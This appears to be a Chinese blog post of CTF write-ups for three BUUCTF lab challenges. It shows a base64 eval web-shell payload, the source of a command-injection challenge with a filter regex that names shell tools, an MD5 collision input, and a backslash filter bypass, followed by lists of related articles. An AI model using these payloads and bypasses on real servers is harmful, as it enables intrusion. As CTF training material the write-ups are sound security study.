• 1、[GKCTF2020]CheckIN
  • 2、[安洵杯 2019]easy_web
  • 3、[ASIS 2019]Unicorn shop

1、[GKCTF2020]CheckIN

代码审计:

首先发现eval函数,而且是base64加密通过Ginkgo传参。
构造url,查看phpinfo();,base64编码为cGhwaW5mbygpOw==

http://afadb209-7e5c-4975-9f72-bede60b24a14.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==

发现php版本为7.3

搜索Ginkgo发现参数已以base64方式传入
利用eval构造eval($_POST[123]);,base64加密ZXZhbCgkX1BPU1RbMTIzXSk7,
构造新的url:http://afadb209-7e5c-4975-9f72-bede60b24a14.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMTIzXSk7
蚁剑尝试连接,连接成功
但是flag文件权限较低不能访问,尝试readflag发现乱码,无果。
更改权限失败
搜索php7.3的漏洞
安全客

下方附有exp
下载exp,修改exp如下:

利用蚁剑上传。tmp文件夹权限1777最高,上传到此文件夹。上传成功返回界面利用post执行文件:(通过之前的一句话来执行文件包含,得到flag)

2、[安洵杯 2019]easy_web

打开题目如下:

url:http://1b10f457-a2ac-498f-9095-fa3e560c76c6.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
很容易发现有两个参数传递,img和cmd
而且img参数被加密,尝试解密。
一次解码之后,格式仍然很像,继续解码,直到最后一步直接就是hex的ascii码(16进制转字符串),得到555.png,一个正常的文件名,同时我们在源代码里也看到了base64编码过的png内容,
同样将index.php反推: TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
bp抓包,修改img参数,得到ase64加密后的index.php。
解密得到源码:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png)  no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$cmd))

过滤很多shell命令,但是可以用\进行绕过,如cat flag可以写成ca\t /fl\ag

md5强类型碰撞

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

绕过index.php中的

 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

传入参数,bp抓包,接下来使用cmd参数,img参数也就没了必要。
使用dir命令扫当前文件夹,没发现flag,尝试读取根目录,发现flag文件

因为禁用啦cat,使用\绕过获取flag

看网上还有一种方法读取flag:

sort命令:sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。

3、[ASIS 2019]Unicorn shop


shop 肯定跟买东西有关,在下方输入id=4和价钱=1337,尝试购买
只允许输入一个字符购买,这就用到了unicode的知识。
推荐转换网站:https://www.compart.com/en/unicode/

unicode安全:
浅谈Unicode设计的安全性
Unicode等价性浅谈

随便挑一个大于1337的就可以,然后回去买一下独角兽即可得到flag。

uuctf-Unicorn shop----easy_web----CheckIN相关推荐

  1. [CTFTraining] ASIS CTF 2019 Quals Unicorn shop

    阿米尔卡比尔大学信息安全与密码学研究小组夺旗赛 ​ 我们随便买一件商品,1~3都显示: ​ 只有第4个显示: ​ 只允许输入一个字符,题目叫Unicorn,猜测为Unicode.在Unicode - ...

  2. BUUCTF解题十一道(04)

    文章目录 [GWCTF 2019]我有一个数据库 [BJDCTF2020]ZJCTF,不过如此 [BJDCTF2020]The mystery of ip [BJDCTF2020]Mark loves ...

  3. Web-10(37-40)-BUUCTF平台

    本篇内容 [CISCN2019 华北赛区 Day1 Web1]Dropbox [CISCN2019 华北赛区 Day1 Web2]ikun [ASIS 2019]Unicorn shop [安洵杯 2 ...

  4. BUUCTF Web 第二页全部Write ups

    更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...

  5. BUUCTF-刷题记录-3

    WEB [HCTF 2018]admin 页面没什么功能点,注册一个账号并登录,在更改密码的页面发现注释,存在源码. 在config.py中发现SECRET_KEY:ckj123,同时发现sessio ...

  6. BUUCTFweb刷题记录

    [极客大挑战 2019]BuyFlag header里头有个user=0,将其修改成1 再post money=100000001&password=404a 发现money参数过长,使用数组 ...

  7. 持续集成之戏说Check-in Dance

    <infoq> 众所周知,敏捷软件开发方法中有多种最佳实践,既有管理方面的,也有技术方面的.在尝试敏捷之初,并不是每个团队都能使用全部最佳实践,也不是每个实践都能在短时间内见效.但其中有一 ...

  8. Microsoft .NET Pet Shop 4 架构与技术分析

    1.项目概述与架构分析微软刚推出了基于ASP.NET 2.0下的Pet Shop 4, 该版本有了一个全新的用户界面.是研究ASP.NET 2.0的好范例啊,大家都知道,一直以来,在.NET和Java ...

  9. Unicorn 4.6.3 发布,Rack的HTTP服务器

    Unicorn 4.6.3 修复了 Unicorn::HttpParser#filter_body 的 bug,DSO 的体积有所减小. Unicorn 是一个为运行 Rack 应用的HTTP服务器. ...

  10. Asp.net MVC 示例项目Suteki.Shop分析之---结束篇

    到今天,这个系列的文章就要先告一段落了.其中我用了10篇文章也没有穷尽该项目的设计思想,只能从中捡了一些我感兴趣的东西进行了分析和说明,正所谓兴趣是最大的动力.当然限于本人水平有限,难免有一些认识上的 ...

最新文章

  1. Flask学习之路(一)--初识flask
  2. 报错——StackOverflowError
  3. juniper M320路由器基本配置
  4. c语言给定变量a的初始值,2018年9月计算机二级C语言考试冲刺提分试题(一)
  5. hello.cpp 第一个C++程序(本博客没有特指都是以QT测试)
  6. centos 7 快速安装nginx
  7. EXEC与sp_executesql的区别及应用
  8. 自我觉察-3:发现-我这么做究竟为了什么?
  9. gitbash登录码云报错_手把手教你入门git仓库和关联码云
  10. 深入理解分布式系统原理与设计
  11. Python vs Matlab—— find 与 np.where
  12. Java高并发实战,锁的优化
  13. PotPlayer v1.7 纯净绿色版 最好用的本地视频播放器下载
  14. 微信小程序自定义字体
  15. 硅谷火爆的云原生,你会玩吗?
  16. 计算机组成原理(8)CPU——基本结构
  17. python 学习之Windows 下的编码处理!
  18. Java图片处理 - 创建工具类
  19. Portal产品对比分析报告
  20. hbase major compact脚本

热门文章

  1. 禁用浏览器的后退按钮
  2. C++核心编程-5 文件操作
  3. 高速学英语- 大脑的不同学习机制
  4. java gsoap mtom_mtom_xop 通过gsoap实现高效MTOM协议的数据传输 - 下载 - 搜珍网
  5. 为什么说衰老先从血管开始?
  6. 上海职称英语计算机取消,上海地区职称英语考试是不是取消了?
  7. 学那么多东西有屁用,不如先建立自己的知识体系
  8. 【区块链技术工坊32期】陈军:区块链+供应链金融解决方案及落地案例
  9. 如何成为技术大牛--摘自牛人
  10. PS批量处理批量裁减不同尺寸图片教程(超详细教程 非常实用)-photoshop